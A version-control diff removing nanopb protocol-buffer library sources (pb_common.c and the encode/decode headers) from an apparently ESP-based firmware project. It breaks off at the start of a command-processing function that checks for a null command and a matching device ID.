PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag)
#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \
PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag)
#endif
/* Automatic picking of FIELDINFO width:
* Uses width 1 when possible, otherwise resorts to width 2.
* This is used when PB_BIND() is called with "AUTO" as the argument.
* The generator will give explicit size argument when it knows that a message
* structure grows beyond 1-word format limits.
*/
#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype)
#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype)
#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype)
#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2
#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype
#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype
#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype
#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype
#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2
#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2
#define PB_FI_WIDTH_PB_LTYPE_BOOL 1
#define PB_FI_WIDTH_PB_LTYPE_BYTES 2
#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1
#define PB_FI_WIDTH_PB_LTYPE_ENUM 1
#define PB_FI_WIDTH_PB_LTYPE_UENUM 1
#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1
#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1
#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1
#define PB_FI_WIDTH_PB_LTYPE_INT32 1
#define PB_FI_WIDTH_PB_LTYPE_INT64 1
#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2
#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2
#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1
#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1
#define PB_FI_WIDTH_PB_LTYPE_SINT32 1
#define PB_FI_WIDTH_PB_LTYPE_SINT64 1
#define PB_FI_WIDTH_PB_LTYPE_STRING 2
#define PB_FI_WIDTH_PB_LTYPE_UINT32 1
#define PB_FI_WIDTH_PB_LTYPE_UINT64 1
#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1
#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2
/* The mapping from protobuf types to LTYPEs is done using these macros. */
#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL
#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES
#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64
#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT
#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT
#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32
#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64
#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32
#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT
#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT
#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE
#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB
#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32
#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64
#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT
#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT
#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING
#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT
#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT
#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION
#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES
/* These macros are used for giving out error messages.
* They are mostly a debugging aid; the main error information
* is the true/false return value from functions.
* Some code space can be saved by disabling the error
* messages if not used.
*
* PB_SET_ERROR() sets the error message if none has been set yet.
* msg must be a constant string literal.
* PB_GET_ERROR() always returns a pointer to a string.
* PB_RETURN_ERROR() sets the error and returns false from current
* function.
*/
#ifdef PB_NO_ERRMSG
#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream)
#define PB_GET_ERROR(stream) "(errmsg disabled)"
#else
#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg))
#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)")
#endif
#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false
#ifdef __cplusplus
} /* extern "C" */
#endif
#ifdef __cplusplus
#if __cplusplus >= 201103L
#define PB_CONSTEXPR constexpr
#else // __cplusplus >= 201103L
#define PB_CONSTEXPR
#endif // __cplusplus >= 201103L
#if __cplusplus >= 201703L
#define PB_INLINE_CONSTEXPR inline constexpr
#else // __cplusplus >= 201703L
#define PB_INLINE_CONSTEXPR PB_CONSTEXPR
#endif // __cplusplus >= 201703L
extern "C++"
{
namespace nanopb {
// Each type will be partially specialized by the generator.
template <typename GenMessageT> struct MessageDescriptor;
} // namespace nanopb
}
#endif /* __cplusplus */
#endif

View File

@ -1,388 +0,0 @@
/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c.
*
* 2014 Petteri Aimonen <jpa@kapsi.fi>
*/
#include "pb_common.h"
static bool load_descriptor_values(pb_field_iter_t *iter)
{
uint32_t word0;
uint32_t data_offset;
int_least8_t size_offset;
if (iter->index >= iter->descriptor->field_count)
return false;
word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
iter->type = (pb_type_t)((word0 >> 8) & 0xFF);
switch(word0 & 3)
{
case 0: {
/* 1-word format */
iter->array_size = 1;
iter->tag = (pb_size_t)((word0 >> 2) & 0x3F);
size_offset = (int_least8_t)((word0 >> 24) & 0x0F);
data_offset = (word0 >> 16) & 0xFF;
iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F);
break;
}
case 1: {
/* 2-word format */
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF);
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6));
size_offset = (int_least8_t)((word0 >> 28) & 0x0F);
data_offset = word1 & 0xFFFF;
iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF);
break;
}
case 2: {
/* 4-word format */
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]);
uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]);
iter->array_size = (pb_size_t)(word0 >> 16);
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6));
size_offset = (int_least8_t)(word1 & 0xFF);
data_offset = word2;
iter->data_size = (pb_size_t)word3;
break;
}
default: {
/* 8-word format */
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]);
uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]);
uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]);
iter->array_size = (pb_size_t)word4;
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6));
size_offset = (int_least8_t)(word1 & 0xFF);
data_offset = word2;
iter->data_size = (pb_size_t)word3;
break;
}
}
if (!iter->message)
{
/* Avoid doing arithmetic on null pointers, it is undefined */
iter->pField = NULL;
iter->pSize = NULL;
}
else
{
iter->pField = (char*)iter->message + data_offset;
if (size_offset)
{
iter->pSize = (char*)iter->pField - size_offset;
}
else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED &&
(PB_ATYPE(iter->type) == PB_ATYPE_STATIC ||
PB_ATYPE(iter->type) == PB_ATYPE_POINTER))
{
/* Fixed count array */
iter->pSize = &iter->array_size;
}
else
{
iter->pSize = NULL;
}
if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL)
{
iter->pData = *(void**)iter->pField;
}
else
{
iter->pData = iter->pField;
}
}
if (PB_LTYPE_IS_SUBMSG(iter->type))
{
iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index];
}
else
{
iter->submsg_desc = NULL;
}
return true;
}
static void advance_iterator(pb_field_iter_t *iter)
{
iter->index++;
if (iter->index >= iter->descriptor->field_count)
{
/* Restart */
iter->index = 0;
iter->field_info_index = 0;
iter->submessage_index = 0;
iter->required_field_index = 0;
}
else
{
/* Increment indexes based on previous field type.
* All field info formats have the following fields:
* - lowest 2 bits tell the amount of words in the descriptor (2^n words)
* - bits 2..7 give the lowest bits of tag number.
* - bits 8..15 give the field type.
*/
uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF;
pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3));
/* Add to fields.
* The cast to pb_size_t is needed to avoid -Wconversion warning.
* Because the data is is constants from generator, there is no danger of overflow.
*/
iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len);
iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED));
iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type));
}
}
bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message)
{
memset(iter, 0, sizeof(*iter));
iter->descriptor = desc;
iter->message = message;
return load_descriptor_values(iter);
}
bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension)
{
const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg;
bool status;
uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]);
if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER)
{
/* For pointer extensions, the pointer is stored directly
* in the extension structure. This avoids having an extra
* indirection. */
status = pb_field_iter_begin(iter, msg, &extension->dest);
}
else
{
status = pb_field_iter_begin(iter, msg, extension->dest);
}
iter->pSize = &extension->found;
return status;
}
bool pb_field_iter_next(pb_field_iter_t *iter)
{
advance_iterator(iter);
(void)load_descriptor_values(iter);
return iter->index != 0;
}
bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag)
{
if (iter->tag == tag)
{
return true; /* Nothing to do, correct field already. */
}
else if (tag > iter->descriptor->largest_tag)
{
return false;
}
else
{
pb_size_t start = iter->index;
uint32_t fieldinfo;
if (tag < iter->tag)
{
/* Fields are in tag number order, so we know that tag is between
* 0 and our start position. Setting index to end forces
* advance_iterator() call below to restart from beginning. */
iter->index = iter->descriptor->field_count;
}
do
{
/* Advance iterator but don't load values yet */
advance_iterator(iter);
/* Do fast check for tag number match */
fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F))
{
/* Good candidate, check further */
(void)load_descriptor_values(iter);
if (iter->tag == tag &&
PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION)
{
/* Found it */
return true;
}
}
} while (iter->index != start);
/* Searched all the way back to start, and found nothing. */
(void)load_descriptor_values(iter);
return false;
}
}
bool pb_field_iter_find_extension(pb_field_iter_t *iter)
{
if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION)
{
return true;
}
else
{
pb_size_t start = iter->index;
uint32_t fieldinfo;
do
{
/* Advance iterator but don't load values yet */
advance_iterator(iter);
/* Do fast check for field type */
fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION)
{
return load_descriptor_values(iter);
}
} while (iter->index != start);
/* Searched all the way back to start, and found nothing. */
(void)load_descriptor_values(iter);
return false;
}
}
static void *pb_const_cast(const void *p)
{
/* Note: this casts away const, in order to use the common field iterator
* logic for both encoding and decoding. The cast is done using union
* to avoid spurious compiler warnings. */
union {
void *p1;
const void *p2;
} t;
t.p2 = p;
return t.p1;
}
bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message)
{
return pb_field_iter_begin(iter, desc, pb_const_cast(message));
}
bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension)
{
return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension));
}
bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field)
{
if (field->data_size == sizeof(pb_callback_t))
{
pb_callback_t *pCallback = (pb_callback_t*)field->pData;
if (pCallback != NULL)
{
if (istream != NULL && pCallback->funcs.decode != NULL)
{
return pCallback->funcs.decode(istream, field, &pCallback->arg);
}
if (ostream != NULL && pCallback->funcs.encode != NULL)
{
return pCallback->funcs.encode(ostream, field, &pCallback->arg);
}
}
}
return true; /* Success, but didn't do anything */
}
#ifdef PB_VALIDATE_UTF8
/* This function checks whether a string is valid UTF-8 text.
*
* Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c
* Original copyright: Markus Kuhn <http://www.cl.cam.ac.uk/~mgk25/> 2005-03-30
* Licensed under "Short code license", which allows use under MIT license or
* any compatible with it.
*/
bool pb_validate_utf8(const char *str)
{
const pb_byte_t *s = (const pb_byte_t*)str;
while (*s)
{
if (*s < 0x80)
{
/* 0xxxxxxx */
s++;
}
else if ((s[0] & 0xe0) == 0xc0)
{
/* 110XXXXx 10xxxxxx */
if ((s[1] & 0xc0) != 0x80 ||
(s[0] & 0xfe) == 0xc0) /* overlong? */
return false;
else
s += 2;
}
else if ((s[0] & 0xf0) == 0xe0)
{
/* 1110XXXX 10Xxxxxx 10xxxxxx */
if ((s[1] & 0xc0) != 0x80 ||
(s[2] & 0xc0) != 0x80 ||
(s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */
(s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */
(s[0] == 0xef && s[1] == 0xbf &&
(s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */
return false;
else
s += 3;
}
else if ((s[0] & 0xf8) == 0xf0)
{
/* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */
if ((s[1] & 0xc0) != 0x80 ||
(s[2] & 0xc0) != 0x80 ||
(s[3] & 0xc0) != 0x80 ||
(s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */
(s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */
return false;
else
s += 4;
}
else
{
return false;
}
}
return true;
}
#endif

View File

@ -1,49 +0,0 @@
/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c.
* These functions are rarely needed by applications directly.
*/
#ifndef PB_COMMON_H_INCLUDED
#define PB_COMMON_H_INCLUDED
#include "pb.h"
#ifdef __cplusplus
extern "C" {
#endif
/* Initialize the field iterator structure to beginning.
* Returns false if the message type is empty. */
bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message);
/* Get a field iterator for extension field. */
bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension);
/* Same as pb_field_iter_begin(), but for const message pointer.
* Note that the pointers in pb_field_iter_t will be non-const but shouldn't
* be written to when using these functions. */
bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message);
bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension);
/* Advance the iterator to the next field.
* Returns false when the iterator wraps back to the first field. */
bool pb_field_iter_next(pb_field_iter_t *iter);
/* Advance the iterator until it points at a field with the given tag.
* Returns false if no such field exists. */
bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag);
/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found.
* There can be only one extension range field per message. */
bool pb_field_iter_find_extension(pb_field_iter_t *iter);
#ifdef PB_VALIDATE_UTF8
/* Validate UTF-8 text string */
bool pb_validate_utf8(const char *s);
#endif
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif

File diff suppressed because it is too large Load Diff

View File

@ -1,204 +0,0 @@
/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c.
* The main function is pb_decode. You also need an input stream, and the
* field descriptions created by nanopb_generator.py.
*/
#ifndef PB_DECODE_H_INCLUDED
#define PB_DECODE_H_INCLUDED
#include "pb.h"
#ifdef __cplusplus
extern "C" {
#endif
/* Structure for defining custom input streams. You will need to provide
* a callback function to read the bytes from your storage, which can be
* for example a file or a network socket.
*
* The callback must conform to these rules:
*
* 1) Return false on IO errors. This will cause decoding to abort.
* 2) You can use state to store your own data (e.g. buffer pointer),
* and rely on pb_read to verify that no-body reads past bytes_left.
* 3) Your callback may be used with substreams, in which case bytes_left
* is different than from the main stream. Don't use bytes_left to compute
* any pointers.
*/
struct pb_istream_s
{
#ifdef PB_BUFFER_ONLY
/* Callback pointer is not used in buffer-only configuration.
* Having an int pointer here allows binary compatibility but
* gives an error if someone tries to assign callback function.
*/
int *callback;
#else
bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count);
#endif
/* state is a free field for use of the callback function defined above.
* Note that when pb_istream_from_buffer() is used, it reserves this field
* for its own use.
*/
void *state;
/* Maximum number of bytes left in this stream. Callback can report
* EOF before this limit is reached. Setting a limit is recommended
* when decoding directly from file or network streams to avoid
* denial-of-service by excessively long messages.
*/
size_t bytes_left;
#ifndef PB_NO_ERRMSG
/* Pointer to constant (ROM) string when decoding function returns error */
const char *errmsg;
#endif
};
#ifndef PB_NO_ERRMSG
#define PB_ISTREAM_EMPTY {0,0,0,0}
#else
#define PB_ISTREAM_EMPTY {0,0,0}
#endif
/***************************
* Main decoding functions *
***************************/
/* Decode a single protocol buffers message from input stream into a C structure.
* Returns true on success, false on any failure.
* The actual struct pointed to by dest must match the description in fields.
* Callback fields of the destination structure must be initialized by caller.
* All other fields will be initialized by this function.
*
* Example usage:
* MyMessage msg = {};
* uint8_t buffer[64];
* pb_istream_t stream;
*
* // ... read some data into buffer ...
*
* stream = pb_istream_from_buffer(buffer, count);
* pb_decode(&stream, MyMessage_fields, &msg);
*/
bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct);
/* Extended version of pb_decode, with several options to control
* the decoding process:
*
* PB_DECODE_NOINIT: Do not initialize the fields to default values.
* This is slightly faster if you do not need the default
* values and instead initialize the structure to 0 using
* e.g. memset(). This can also be used for merging two
* messages, i.e. combine already existing data with new
* values.
*
* PB_DECODE_DELIMITED: Input message starts with the message size as varint.
* Corresponds to parseDelimitedFrom() in Google's
* protobuf API.
*
* PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows
* reading null terminated messages.
* NOTE: Until nanopb-0.4.0, pb_decode() also allows
* null-termination. This behaviour is not supported in
* most other protobuf implementations, so PB_DECODE_DELIMITED
* is a better option for compatibility.
*
* Multiple flags can be combined with bitwise or (| operator)
*/
#define PB_DECODE_NOINIT 0x01U
#define PB_DECODE_DELIMITED 0x02U
#define PB_DECODE_NULLTERMINATED 0x04U
bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags);
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT)
#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED)
#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT)
#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED)
/* Release any allocated pointer fields. If you use dynamic allocation, you should
* call this for any successfully decoded message when you are done with it. If
* pb_decode() returns with an error, the message is already released.
*/
void pb_release(const pb_msgdesc_t *fields, void *dest_struct);
/**************************************
* Functions for manipulating streams *
**************************************/
/* Create an input stream for reading from a memory buffer.
*
* msglen should be the actual length of the message, not the full size of
* allocated buffer.
*
* Alternatively, you can use a custom stream that reads directly from e.g.
* a file or a network socket.
*/
pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen);
/* Function to read from a pb_istream_t. You can use this if you need to
* read some custom header data, or to read data in field callbacks.
*/
bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count);
/************************************************
* Helper functions for writing field callbacks *
************************************************/
/* Decode the tag for the next field in the stream. Gives the wire type and
* field tag. At end of the message, returns false and sets eof to true. */
bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof);
/* Skip the field payload data, given the wire type. */
bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type);
/* Decode an integer in the varint format. This works for enum, int32,
* int64, uint32 and uint64 field types. */
#ifndef PB_WITHOUT_64BIT
bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest);
#else
#define pb_decode_varint pb_decode_varint32
#endif
/* Decode an integer in the varint format. This works for enum, int32,
* and uint32 field types. */
bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest);
/* Decode a bool value in varint format. */
bool pb_decode_bool(pb_istream_t *stream, bool *dest);
/* Decode an integer in the zig-zagged svarint format. This works for sint32
* and sint64. */
#ifndef PB_WITHOUT_64BIT
bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest);
#else
bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest);
#endif
/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to
* a 4-byte wide C variable. */
bool pb_decode_fixed32(pb_istream_t *stream, void *dest);
#ifndef PB_WITHOUT_64BIT
/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to
* a 8-byte wide C variable. */
bool pb_decode_fixed64(pb_istream_t *stream, void *dest);
#endif
#ifdef PB_CONVERT_DOUBLE_FLOAT
/* Decode a double value into float variable. */
bool pb_decode_double_as_float(pb_istream_t *stream, float *dest);
#endif
/* Make a limited-length substream for reading a PB_WT_STRING field. */
bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream);
bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream);
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif

File diff suppressed because it is too large Load Diff

View File

@ -1,195 +0,0 @@
/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c.
* The main function is pb_encode. You also need an output stream, and the
* field descriptions created by nanopb_generator.py.
*/
#ifndef PB_ENCODE_H_INCLUDED
#define PB_ENCODE_H_INCLUDED
#include "pb.h"
#ifdef __cplusplus
extern "C" {
#endif
/* Structure for defining custom output streams. You will need to provide
* a callback function to write the bytes to your storage, which can be
* for example a file or a network socket.
*
* The callback must conform to these rules:
*
* 1) Return false on IO errors. This will cause encoding to abort.
* 2) You can use state to store your own data (e.g. buffer pointer).
* 3) pb_write will update bytes_written after your callback runs.
* 4) Substreams will modify max_size and bytes_written. Don't use them
* to calculate any pointers.
*/
struct pb_ostream_s
{
#ifdef PB_BUFFER_ONLY
/* Callback pointer is not used in buffer-only configuration.
* Having an int pointer here allows binary compatibility but
* gives an error if someone tries to assign callback function.
* Also, NULL pointer marks a 'sizing stream' that does not
* write anything.
*/
const int *callback;
#else
bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count);
#endif
/* state is a free field for use of the callback function defined above.
* Note that when pb_ostream_from_buffer() is used, it reserves this field
* for its own use.
*/
void *state;
/* Limit number of output bytes written. Can be set to SIZE_MAX. */
size_t max_size;
/* Number of bytes written so far. */
size_t bytes_written;
#ifndef PB_NO_ERRMSG
/* Pointer to constant (ROM) string when decoding function returns error */
const char *errmsg;
#endif
};
/***************************
* Main encoding functions *
***************************/
/* Encode a single protocol buffers message from C structure into a stream.
* Returns true on success, false on any failure.
* The actual struct pointed to by src_struct must match the description in fields.
* All required fields in the struct are assumed to have been filled in.
*
* Example usage:
* MyMessage msg = {};
* uint8_t buffer[64];
* pb_ostream_t stream;
*
* msg.field1 = 42;
* stream = pb_ostream_from_buffer(buffer, sizeof(buffer));
* pb_encode(&stream, MyMessage_fields, &msg);
*/
bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct);
/* Extended version of pb_encode, with several options to control the
* encoding process:
*
* PB_ENCODE_DELIMITED: Prepend the length of message as a varint.
* Corresponds to writeDelimitedTo() in Google's
* protobuf API.
*
* PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination.
* NOTE: This behaviour is not supported in most other
* protobuf implementations, so PB_ENCODE_DELIMITED
* is a better option for compatibility.
*/
#define PB_ENCODE_DELIMITED 0x02U
#define PB_ENCODE_NULLTERMINATED 0x04U
bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags);
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED)
#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED)
/* Encode the message to get the size of the encoded data, but do not store
* the data. */
bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct);
/**************************************
* Functions for manipulating streams *
**************************************/
/* Create an output stream for writing into a memory buffer.
* The number of bytes written can be found in stream.bytes_written after
* encoding the message.
*
* Alternatively, you can use a custom stream that writes directly to e.g.
* a file or a network socket.
*/
pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize);
/* Pseudo-stream for measuring the size of a message without actually storing
* the encoded data.
*
* Example usage:
* MyMessage msg = {};
* pb_ostream_t stream = PB_OSTREAM_SIZING;
* pb_encode(&stream, MyMessage_fields, &msg);
* printf("Message size is %d\n", stream.bytes_written);
*/
#ifndef PB_NO_ERRMSG
#define PB_OSTREAM_SIZING {0,0,0,0,0}
#else
#define PB_OSTREAM_SIZING {0,0,0,0}
#endif
/* Function to write into a pb_ostream_t stream. You can use this if you need
* to append or prepend some custom headers to the message.
*/
bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count);
/************************************************
* Helper functions for writing field callbacks *
************************************************/
/* Encode field header based on type and field number defined in the field
* structure. Call this from the callback before writing out field contents. */
bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field);
/* Encode field header by manually specifying wire type. You need to use this
* if you want to write out packed arrays from a callback field. */
bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number);
/* Encode an integer in the varint format.
* This works for bool, enum, int32, int64, uint32 and uint64 field types. */
#ifndef PB_WITHOUT_64BIT
bool pb_encode_varint(pb_ostream_t *stream, uint64_t value);
#else
bool pb_encode_varint(pb_ostream_t *stream, uint32_t value);
#endif
/* Encode an integer in the zig-zagged svarint format.
* This works for sint32 and sint64. */
#ifndef PB_WITHOUT_64BIT
bool pb_encode_svarint(pb_ostream_t *stream, int64_t value);
#else
bool pb_encode_svarint(pb_ostream_t *stream, int32_t value);
#endif
/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */
bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size);
/* Encode a fixed32, sfixed32 or float value.
* You need to pass a pointer to a 4-byte wide C variable. */
bool pb_encode_fixed32(pb_ostream_t *stream, const void *value);
#ifndef PB_WITHOUT_64BIT
/* Encode a fixed64, sfixed64 or double value.
* You need to pass a pointer to a 8-byte wide C variable. */
bool pb_encode_fixed64(pb_ostream_t *stream, const void *value);
#endif
#ifdef PB_CONVERT_DOUBLE_FLOAT
/* Encode a float value so that it appears like a double in the encoded
* message. */
bool pb_encode_float_as_double(pb_ostream_t *stream, float value);
#endif
/* Encode a submessage field.
* You need to pass the pb_field_t array and pointer to struct, just like
* with pb_encode(). This internally encodes the submessage twice, first to
* calculate message size and then to actually write it out.
*/
bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct);
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif

View File

@ -1,47 +0,0 @@
#include <string.h>
#include "c2.pb.h"
#include "utils.h"
#include "esp_log.h"
static const char *TAG = "PROCESS";
/* =========================================================
* UNIQUE ENTRY POINT C2 ESP
* ========================================================= */
void process_command(const c2_Command *cmd)
{
if (!cmd) {
ESP_LOGE(TAG, "NULL command");
return;
}
/* -----------------------------------------------------
* Device ID check allow broadcast (empty device_id)
* ----------------------------------------------------- */
if (cmd->device_id[0] != '\0' &&
strcmp(CONFIG_DEVICE_ID, cmd->device_id) != 0) {
ESP_LOGW(TAG,
